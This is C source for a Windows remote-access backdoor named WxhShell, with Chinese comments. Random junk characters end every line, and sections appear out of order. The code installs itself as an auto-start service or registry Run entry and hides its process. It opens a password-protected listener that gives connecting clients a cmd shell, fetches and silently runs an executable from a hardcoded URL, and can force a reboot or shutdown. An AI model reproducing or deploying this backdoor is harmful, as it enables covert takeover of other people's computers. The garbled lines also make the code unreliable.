    if(Boot(SHUTDOWN))  q{X T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lEfBe)7+  
    else { PZ34*q  
    closesocket(wsh); M\yHUS6N  
    ExitThread(0); a{`"68  
    } 3c u9[~K  
    break; KzkgWMM  
    } w4{y "A  
  // 获取shell G+yL;G/  
  case 's': { ek[kq[U9  
    CmdShell(wsh); +5*vABvCu  
    closesocket(wsh); Tiprdvm<  
    ExitThread(0); G&o64W;-s  
    break; b}%g}L D  
  } Bn-J_-%M  
  // 退出 BPWnck=%  
  case 'x': { 99KVtgPm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #` +]{4hR  
    CloseIt(wsh); g9qC{x d  
    break; q2!'==h2i  
    } <9\,QR)  
  // 离开 E!@/NE\-  
  case 'q': { k6J\Kkk(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (zmNa}-  
    closesocket(wsh); hrT%XJl  
    WSACleanup(); ~@YQ,\Y  
    exit(1); tE:X,Lt[  
    break; BVAr&cu  
        } 6+Jry@  
  } P/`m3aSzX.  
  } ( H[  
M,JA;a, _  
  // 提示信息 iIB9j8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bqjr0A7{  
} 1C'P)f28  
  } _-6e0srZ  
nF j-<!  
  return; fPrb%  
} I <xy?{s  
v D&Kae<  
// shell模块句柄 wlL8X7+:  
int CmdShell(SOCKET sock) '&)D>@g  
{ Y.9~Bo<<r  
STARTUPINFO si; \KN dZC?V2  
ZeroMemory(&si,sizeof(si)); u6p5:oJj,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +]_nbWL(%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,{pGP#  
PROCESS_INFORMATION ProcessInfo; -HN%B?}. x  
char cmdline[]="cmd"; K@*rVor{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]DU61Z"v?b  
  return 0; \ boL`X  
} v#-E~;C cC  
. Jb?]n  
// 自身启动模式 bz$Qk;m=H  
int StartFromService(void) y3IA '  
{ }ymc5-  
typedef struct 2@4x"F]U;  
{ cP, ;Qbe  
  DWORD ExitStatus; |&Au6 3  
  DWORD PebBaseAddress; BL0 |\&*1  
  DWORD AffinityMask; }U(\~ =D  
  DWORD BasePriority; zdqnL^wb  
  ULONG UniqueProcessId; [pr 9 $Jr  
  ULONG InheritedFromUniqueProcessId; U|9U(il  
}   PROCESS_BASIC_INFORMATION; .B6`OX&k  
)F +nSV;  
PROCNTQSIP NtQueryInformationProcess; 2|$lk8/,  
kAY@^vi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0n\^$WY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O1|B3M[P  
m';#R9\Fz  
  HANDLE             hProcess; \ibCR~W4  
  PROCESS_BASIC_INFORMATION pbi; jk K#e$7  
}Z"28?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9jqO/_7R+  
  if(NULL == hInst ) return 0; g&q]@m  
2rF?Q?$,B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Td5bDO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^v ]UcnB0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T=^jCH &  
E]\D>[0O  
  if (!NtQueryInformationProcess) return 0; #"hJpyW 4V  
W)|c[Q\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aMBL1d7  
  if(!hProcess) return 0; P8"6"}B;T  
1V-=$Q3 V7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U?JiVxE^  
(W7;}gysh  
  CloseHandle(hProcess); t8t}7XD   
3%_ 4+zd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1d/NZJ9  
if(hProcess==NULL) return 0; $*YC7f  
1RCXc>}/  
HMODULE hMod; *~"zV`*Q  
char procName[255]; @>M8Pe  
unsigned long cbNeeded; N-X VRuv  
zv$Gma_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o lYPlH F  
g&{gD^9)4  
  CloseHandle(hProcess); u+I3IdU3  
w 9G_>+?E  
if(strstr(procName,"services")) return 1; // 以服务启动 jK\V|5k  
AF6d#Klog  
  return 0; // 注册表启动 h9w@oRp`~  
} F9Ifw><XM  
 KYnW7|*  
// 主模块 t9?R/:B%  
int StartWxhshell(LPSTR lpCmdLine) }5fU7&jA;3  
{ &=v/VRan[  
  SOCKET wsl; 'q{PtYr  
BOOL val=TRUE; U(rr vNt:t  
  int port=0; @PT`CK}  
  struct sockaddr_in door; //#xK D  
Zx}N Fcn  
  if(wscfg.ws_autoins) Install(); aSn0o_4bD  
A8 \U CG  
port=atoi(lpCmdLine); 3C> 2x(]M  
aEcktg6h  
if(port<=0) port=wscfg.ws_port; bHhC56[M  
<{$ ev&bQ  
  WSADATA data; di-O*ug  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &eThH,w$2  
@m+pr\h(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <bEN8b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )m|X;eEo  
  door.sin_family = AF_INET; &/B2)l6a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s,eld@  
  door.sin_port = htons(port); D< nlb-  
z1Bj_u{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }u(d'9u  
closesocket(wsl); v+xgxQGYH  
return 1; NWo7wVwc/c  
} Fy}MXe"f  
Ov $N"  
  if(listen(wsl,2) == INVALID_SOCKET) {  5uQv  
closesocket(wsl); r[.zLXgK  
return 1; [47K7~9p  
} ?RgU6/2  
  Wxhshell(wsl); Rz<d%C;R  
  WSACleanup(); r*X}3t*  
p?dGZ2` [I  
return 0; s`8M%ZLu  
$$2S*qY  
} eh({K;>  
-4*'WzWr  
// 以NT服务方式启动 "TBQNWZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /RA1d<~$q  
{ *_4n2<W$  
DWORD   status = 0; \3n{w   
  DWORD   specificError = 0xfffffff; O84v*=uA  
%{N$1ht^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r 85Xa'hh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jV,(P$ 5;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <FUqD0sQ  
  serviceStatus.dwWin32ExitCode     = 0; 9A/Kn]s(jj  
  serviceStatus.dwServiceSpecificExitCode = 0; #a7Amh\nT  
  serviceStatus.dwCheckPoint       = 0; rZ8Y=) e  
  serviceStatus.dwWaitHint       = 0; VgFF+Eg  
D&z'tf5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #lBpln9  
  if (hServiceStatusHandle==0) return; C>w9 {h  
APHtJoS  
status = GetLastError(); ,E*a$cCw  
  if (status!=NO_ERROR) 1c<CEq:?e%  
{ )AnlFO+V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E&iWtwkz  
    serviceStatus.dwCheckPoint       = 0; CfkNy[}=  
    serviceStatus.dwWaitHint       = 0; jM3Y|}+  
    serviceStatus.dwWin32ExitCode     = status; Ww'TCWk@  
    serviceStatus.dwServiceSpecificExitCode = specificError; rB.=f[aX[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4,w{rmj  
    return; }Ll3AR7\  
  } E1l\~%A  
u'$yYzBE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :"<B@Z  
  serviceStatus.dwCheckPoint       = 0; L!8 -:)0b  
  serviceStatus.dwWaitHint       = 0; AjL?Qh4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9?g]qy,1)  
} 8CnI%_Su  
| z(Ws  
// 处理NT服务事件,比如:启动、停止 P[#WHbn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7/D9n9F  
{ ]df9'\  
switch(fdwControl) ZHiICh|et%  
{ ^O$[Y9~*  
case SERVICE_CONTROL_STOP: `G ;Lz^  
  serviceStatus.dwWin32ExitCode = 0; So)KI_M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .kB3jfw0,  
  serviceStatus.dwCheckPoint   = 0; SVg@xu+  
  serviceStatus.dwWaitHint     = 0; PO%yWns30o  
  { U7*VIRibv+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); px [1#*  
  } 1VjeP *  
  return; XY+aunLf  
case SERVICE_CONTROL_PAUSE: /4"S}P>f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AG$-U2ap  
  break; 1(:=j Ofk  
case SERVICE_CONTROL_CONTINUE: bW 86Iw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ];b!*Z  
  break; Zm; +Ku>  
case SERVICE_CONTROL_INTERROGATE: ZB^4(F')H  
  break; [#Nx>RY  
}; j3rv2W\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hyvV%z Z  
} uu@'02G8  
K&D}!.~/  
// 标准应用程序主函数 >uPde5"ZF-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vZ nO  
{ wh7a|  
>e$^# \D  
// 获取操作系统版本 bZOy~F|  
OsIsNt=GetOsVer(); ^d5./M8Bd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aD/,c1  
6rN5Xf cS  
  // 从命令行安装 3R=3\;  
  if(strpbrk(lpCmdLine,"iI")) Install(); Etr8lm E  
Wse*gO  
  // 下载执行文件 .{]c&Ef+f  
if(wscfg.ws_downexe) { }PIGj}F/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -< dMD_  
  WinExec(wscfg.ws_filenam,SW_HIDE); fkv{\zN  
} G4exk5  
}b ]y 0"  
if(!OsIsNt) { Yq hz(&*)  
// 如果时win9x,隐藏进程并且设置为注册表启动 i8[Y{a *  
HideProc(); U9p.Dh~)vG  
StartWxhshell(lpCmdLine); '3_B1iAv  
} jQ\ MB  
else zju,#%  
  if(StartFromService()) >/HU'  
  // 以服务方式启动 xc]C#q  
  StartServiceCtrlDispatcher(DispatchTable); |e-+xX|;  
else d7K17KiC  
  // 普通方式启动 zm3MOH^a  
  StartWxhshell(lpCmdLine); f_P+qm  
?nGf Wx^  
return 0; >A(?Pn{|a  
} }Keon.N?   
gK#fuQ$hH  
o` 1V  
NF\^'W@N  
=========================================== , a_{ Y+  
~CdseSo 9  
ND9>`I 5  
GoVPo'  
Y./}zCT  
=|V]8 tN  
" D*r Zaqy  
6p]R)K>wS  
#include <stdio.h> `"=L  
#include <string.h> :2Rci`lp  
#include <windows.h> : )"jh`  
#include <winsock2.h> FjLv*K[#d  
#include <winsvc.h> +xdFkc  
#include <urlmon.h> ABe^]HlH  
+?txGHQq  
#pragma comment (lib, "Ws2_32.lib") 2c`=S5  
#pragma comment (lib, "urlmon.lib") W!0  
d8 Nh0!  
#define MAX_USER   100 // 最大客户端连接数 otH[?c?BT  
#define BUF_SOCK   200 // sock buffer )7%]<2V%  
#define KEY_BUFF   255 // 输入 buffer 7 8inh%  
j72] _G  
#define REBOOT     0   // 重启 vyOC2c8  
#define SHUTDOWN   1   // 关机  D6!+  
'xXqEwi4  
#define DEF_PORT   5000 // 监听端口 {UC<I.5X  
4N=Ie}_`  
#define REG_LEN     16   // 注册表键长度 rxI&;F#  
#define SVC_LEN     80   // NT服务名长度 -/2$P  
'2J6%Gg  
// 从dll定义API {1U*: @j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  glX2L ~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YeVc,B'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H^1 a3L]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pV|?dQ  
Qbpl$L  
// wxhshell配置信息 Y[]+C8"O  
struct WSCFG { 0THAI  
  int ws_port;         // 监听端口 Vd>.fb\U2  
  char ws_passstr[REG_LEN]; // 口令 =&/a\z!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0HuRFl  
  char ws_regname[REG_LEN]; // 注册表键名 f\r4[gU@  
  char ws_svcname[REG_LEN]; // 服务名 ;fME4Sp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 17]31  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D2 cIVx3:(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EI+/%.,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C|@k+^S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]hVXFHrR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,(W98}nB  
et}Y4,:  
}; 'J0s%m|j  
 n(xlad  
// default Wxhshell configuration d;:&3r|X  
struct WSCFG wscfg={DEF_PORT, #$B,8LFz,$  
    "xuhuanlingzhe", GZVl384@  
    1, ER0#$yFpM  
    "Wxhshell", D\*_ulc]  
    "Wxhshell", R:^?6f<Z}  
            "WxhShell Service", Vy~$%H94  
    "Wrsky Windows CmdShell Service", cNc _ n<M  
    "Please Input Your Password: ", 9<CUsq@i:  
  1, EXzNehO~e  
  "http://www.wrsky.com/wxhshell.exe", !Y(qpC:$  
  "Wxhshell.exe" u3brb'Y+  
    }; ;*H~Yb0  
!sQ8,l0h  
// 消息定义模块 =U`c }dhS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ao0PFY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d'fpaLV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vho0f<`E  
char *msg_ws_ext="\n\rExit."; vqZM89 xY  
char *msg_ws_end="\n\rQuit."; 6dp_R2zH~o  
char *msg_ws_boot="\n\rReboot..."; %k)I =|  
char *msg_ws_poff="\n\rShutdown..."; 08jQq#  
char *msg_ws_down="\n\rSave to "; ;#yz i2f  
)!-'SH  
char *msg_ws_err="\n\rErr!"; $m oa8  
char *msg_ws_ok="\n\rOK!"; gg_(%.>  
q0Pu6"^  
char ExeFile[MAX_PATH]; ITUl -L4xE  
int nUser = 0; &r!>2$B\  
HANDLE handles[MAX_USER]; P~Owvs/=  
int OsIsNt; s>I}-=.(Q  
yo6IY  
SERVICE_STATUS       serviceStatus; >[=`{B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ve) :I  
2Jv4l$$;*  
// 函数声明 t[,\TM^h}0  
int Install(void); 6mLE-( Z7  
int Uninstall(void); -v@^6bQVp  
int DownloadFile(char *sURL, SOCKET wsh); - [j0B|cwG  
int Boot(int flag); -.{7;6:(k  
void HideProc(void); a9Rh  
int GetOsVer(void); !iqz 4E  
int Wxhshell(SOCKET wsl); 6d8  
void TalkWithClient(void *cs); gk%ye&:f  
int CmdShell(SOCKET sock); /VkJ+%}+j  
int StartFromService(void); v*v&f!Ym&s  
int StartWxhshell(LPSTR lpCmdLine); ~VF,qspO  
?GZs5CnS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  I9 m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BJ/%{ C`g  
4HAfTQ 1G  
// 数据结构和表定义 uESHTX/[  
SERVICE_TABLE_ENTRY DispatchTable[] = ']x]X ,  
{ ' ?t{-z,  
{wscfg.ws_svcname, NTServiceMain}, #*@Yil=1  
{NULL, NULL} J( 60eTwQ  
}; :;QLoZh^  
`mVH94{+I  
// 自我安装 UqbE  
int Install(void) F{H y@7  
{ lom4z\6  
  char svExeFile[MAX_PATH]; _qfdk@@g  
  HKEY key; GEgf_C!%@  
  strcpy(svExeFile,ExeFile); 1>1!oml1E  
WxdYvmp6z[  
// 如果是win9x系统,修改注册表设为自启动 anYZ"GR+  
if(!OsIsNt) { #=rI[KI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ruVm8 BO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UF4QPPH4  
  RegCloseKey(key); Zzs pE}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +dRTHz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fpUX @b  
  RegCloseKey(key); h#>67gJV  
  return 0; 8dfx _kY`/  
    } -xXM/3g1u  
  } ;2^=#7I?  
} z^]nP 87  
else { EP @=i  
;lldxS  
// 如果是NT以上系统,安装为系统服务 bbnAmZ   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "[G P)nC  
if (schSCManager!=0) (1R,   
{ %pdfGM 9g  
  SC_HANDLE schService = CreateService 4YJs4CB  
  ( \y=,=;yv  
  schSCManager, MLJ8m  
  wscfg.ws_svcname, Vs(;al'  
  wscfg.ws_svcdisp, ^,50]uX_  
  SERVICE_ALL_ACCESS, zR:S.e<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |Ia46YS  
  SERVICE_AUTO_START, }x+{=%~N  
  SERVICE_ERROR_NORMAL, _\"?:~rUN  
  svExeFile, $W)FpN;CW/  
  NULL, r\yj$Gu>(  
  NULL, *+iWB_  
  NULL, }'3V(;9  
  NULL, _ ge3R3  
  NULL nWh?zf#{  
  ); 6@ + >UZr\  
  if (schService!=0) TE/2}XG)  
  { x;N?'"GP  
  CloseServiceHandle(schService); }b44^iL$9y  
  CloseServiceHandle(schSCManager); n '&WIf3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ^rI&BN@S  
  strcat(svExeFile,wscfg.ws_svcname); -y~JNDS1]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FQ[::*-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3Z`oI#-x  
  RegCloseKey(key); }/6jom9U?  
  return 0; Ts^IA67&<  
    } sI`Lsd'V  
  } h><;TAp  
  CloseServiceHandle(schSCManager); <yeG0`}t  
} +* &!u=%G  
}   ]3%Z  
\jC}>9  
return 1; Ek84yme#  
} Yx,  
QkA79%;j  
// 自我卸载 M6?*\ 9E  
int Uninstall(void) H -`7T;t~  
{ kfn5y#6NZ  
  HKEY key; W8\K_M}  
2;A].5>l  
if(!OsIsNt) { I'C{=?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <pz;G}  
  RegDeleteValue(key,wscfg.ws_regname); Z$T1nm%lo:  
  RegCloseKey(key); z"R-Sme  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A|jaWZM-  
  RegDeleteValue(key,wscfg.ws_regname); .HMO7n6)8l  
  RegCloseKey(key); S&9{kt|BI  
  return 0; <s  $~h  
  } R5qC;_0cV  
} 5`0tG;  
} \acjv|]  
else { nx=Zl:Q}  
S.BM/M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EI]NOG 0  
if (schSCManager!=0) |0dmdrKD  
{ $TWt[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {p+7QlgK  
  if (schService!=0) 59IxY ?  
  { GKSfr8US4  
  if(DeleteService(schService)!=0) { N^B YNqr  
  CloseServiceHandle(schService); 4$@)yZ  
  CloseServiceHandle(schSCManager); GAV|x]R  
  return 0; jCxw|tmgq  
  } V`=#j[gX)=  
  CloseServiceHandle(schService); ggfL d r  
  } -ZBk^p  
  CloseServiceHandle(schSCManager); A2!7a}*1(  
} k?KKb /&b  
} XX#YiG4|J  
zaf%%  
return 1; hU@ 9vU<U  
} tUH#%  
Ns?y) G>:  
// 从指定url下载文件 ANZD7v6a  
int DownloadFile(char *sURL, SOCKET wsh) }hv>LL  
{ PSNfh7g  
  HRESULT hr; aPWlV= oG  
char seps[]= "/"; T]Pp\6ff  
char *token; E80C0Q+V  
char *file; xQT`sK+  
char myURL[MAX_PATH]; 1$]4g/":o  
char myFILE[MAX_PATH]; ;<O Iu&,*  
"X=l7{c/  
strcpy(myURL,sURL); VnAJOR7lrx  
  token=strtok(myURL,seps); e/'d0Gb-  
  while(token!=NULL) >LRt,.hy6  
  { 3@f@4t@5V  
    file=token; "9:1>Gr{G  
  token=strtok(NULL,seps); X!KjRP\\  
  } <E[X-S%&  
,Y6Me+5B  
GetCurrentDirectory(MAX_PATH,myFILE); ' !>t( Sa  
strcat(myFILE, "\\"); +ffs{g{  
strcat(myFILE, file); B[w~bW|K  
  send(wsh,myFILE,strlen(myFILE),0); ?aR)dQ  
send(wsh,"...",3,0); gpB3\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Dni>2@0  
  if(hr==S_OK) pHSq,XP-  
return 0; f^z/s6I0  
else 1A^~gYr  
return 1; A8Tq2]"* S  
 K6d9[;F  
} Rrm k\7/  
LT']3w  
// 系统电源模块 ^W+q!pYM9+  
int Boot(int flag) K"B2 SsC  
{ 2A'!kd$2  
  HANDLE hToken; %9Br  
  TOKEN_PRIVILEGES tkp; AC :cV='  
pV bgjJI  
  if(OsIsNt) { L8sHG$[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /ZlPEs)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AdMA|!|:hc  
    tkp.PrivilegeCount = 1; tp"dho  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AvnK?*5!@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MM8@0t'E  
if(flag==REBOOT) { 7.@$D;L9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1ga.%M*  
  return 0; #-?C{$2I  
} Wm!lWQu7  
else { 2~<N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p(dJf&D  
  return 0; ~H"Q5Hr   
} -v"\WmcS  
  } NGZEUtj  
  else { ClZ:#uMbN  
if(flag==REBOOT) { {nTQc2T?;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )*< =:  
  return 0; {!h|(xqN+  
} rS1mBrqD  
else { ;{'{*g[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a![x^@nF  
  return 0; {v{qPYNyh  
} k+Ew+j1_  
} ti6\~SY  
^Qrezl&  
return 1; S ykblP37  
} ::bK{yZm   
/'vCO |?L  
// win9x进程隐藏模块 %@JNX}Y'  
void HideProc(void) 2E]SKpJ  
{ ;:(kVdb  
hF`e>?bN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [>+}2-#  
  if ( hKernel != NULL ) ND);7  
  { 29eg.E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qbu>YTj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0a<:.}  
    FreeLibrary(hKernel); 9v[cy`\  
  } :9`'R0=i^  
9nW/pv  
return; xRu m q  
} QUa_gYp0v  
Hj&mwn]  
// 获取操作系统版本 0}'  
int GetOsVer(void) ERSo&8  
{ 8Q $fXB  
  OSVERSIONINFO winfo; \;w$"@9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GJlkEWs  
  GetVersionEx(&winfo); &E98&[`7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o)w8 ]H /  
  return 1; 2Eq?^ )s  
  else Bl,rvk2  
  return 0; P_:A%T  
} fAx7_}k/ m  
t{)Z$ )'  
// 客户端句柄模块 B^4D`0G[4  
int Wxhshell(SOCKET wsl) M7D@Uj&xx(  
{ jpND"`Q  
  SOCKET wsh; b-sbRR  
  struct sockaddr_in client; {\tHS+]  
  DWORD myID; Y6LoPJ  
D$k<<dvv  
  while(nUser<MAX_USER) Q_p!;3  
{ hVvPI1[2  
  int nSize=sizeof(client); EBF608nWfW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %onUCN<O`  
  if(wsh==INVALID_SOCKET) return 1; Obl']Hr{y9  
Q)"L8v v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UclQo~ 3  
if(handles[nUser]==0) gQ]WNJ~>  
  closesocket(wsh); x,kZ>^]&b  
else <@;Y.76~  
  nUser++; ^1d"Rqtv  
  } >3R%GNw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1PwqW g-\\  
JE~ci#|!  
  return 0; C[cNwvz  
} FcR(uv<  
>s\j/yM  
// 关闭 socket eBZ^YY<*g  
void CloseIt(SOCKET wsh) 3$YgGum  
{ k M/cD`  
closesocket(wsh); vfW  
nUser--; _ZgIm3p0A  
ExitThread(0); .SdHFWx  
} C)2Waj}  
P#`Mg@.  
// 客户端请求句柄 {~=Edf  
void TalkWithClient(void *cs) r[P5 ufy2]  
{ d',OQ,~{  
4H 4U  
  SOCKET wsh=(SOCKET)cs; FB<#N+L\  
  char pwd[SVC_LEN]; b_Us%{  
  char cmd[KEY_BUFF]; @=KuoIV  
char chr[1]; + V:P-D  
int i,j; 5<-_"/_  
2l43/aCq  
  while (nUser < MAX_USER) { $4yv)6G  
h-rPLU;Bw  
if(wscfg.ws_passstr) { tz(\|0WDQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H ]BH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); - i``yf?P  
  //ZeroMemory(pwd,KEY_BUFF); mmC&xZ5f  
      i=0; xA;o3Or  
  while(i<SVC_LEN) { ;lqtw]4v  
klC;fm2C  
  // 设置超时 :[#g_*G@p  
  fd_set FdRead; +dWx?$n  
  struct timeval TimeOut; VV/6~jy0  
  FD_ZERO(&FdRead); qTK\'trgx]  
  FD_SET(wsh,&FdRead); 57/9i> @  
  TimeOut.tv_sec=8; =2HR+  
  TimeOut.tv_usec=0; { 3=\x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( yk^%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F,0 @z/8a  
E\N?D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +QNFu){G  
  pwd=chr[0]; G{*m] 0Q  
  if(chr[0]==0xd || chr[0]==0xa) {  <b7 4L  
  pwd=0; [t55Kz*cD  
  break; 4am`X1YV#  
  } I8r5u=PH  
  i++; 8>.l4:`  
    } ODn6%fp%  
i3I'n*  
  // 如果是非法用户,关闭 socket b#p)bcz!I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6Q]c]cCu  
} ^p#f B4z  
Sbub|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uLV@D r   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *0ZL@Kw  
reml|!F-)  
while(1) { jRN*W2]V  
H!U\;ny  
  ZeroMemory(cmd,KEY_BUFF); D8P<mIu}Y  
Hl"rGA>  
      // 自动支持客户端 telnet标准   c-z 2[a8  
  j=0; eCB(!Y|  
  while(j<KEY_BUFF) { u9>zC QRO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z&W|O>QTl  
  cmd[j]=chr[0]; 8[LwG&  
  if(chr[0]==0xa || chr[0]==0xd) { j`I[M6Qxh  
  cmd[j]=0; :A35 ?9E?  
  break; R }M'D15  
  } dj*%^cI  
  j++; Vm.&JVb  
    } BCB"& :}  
0wZ_;FN*-  
  // 下载文件 ,]@K6  
  if(strstr(cmd,"http://")) { $,ev <4I&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lyiBRMiP|  
  if(DownloadFile(cmd,wsh)) :+ksmyW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [\CQ_qs|  
  else iMRb` \KH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <>GWSW  
  } >E^?<}E~.  
  else { Z!Sv/ 5xx  
"pq#A*  
    switch(cmd[0]) { f !t2a//  
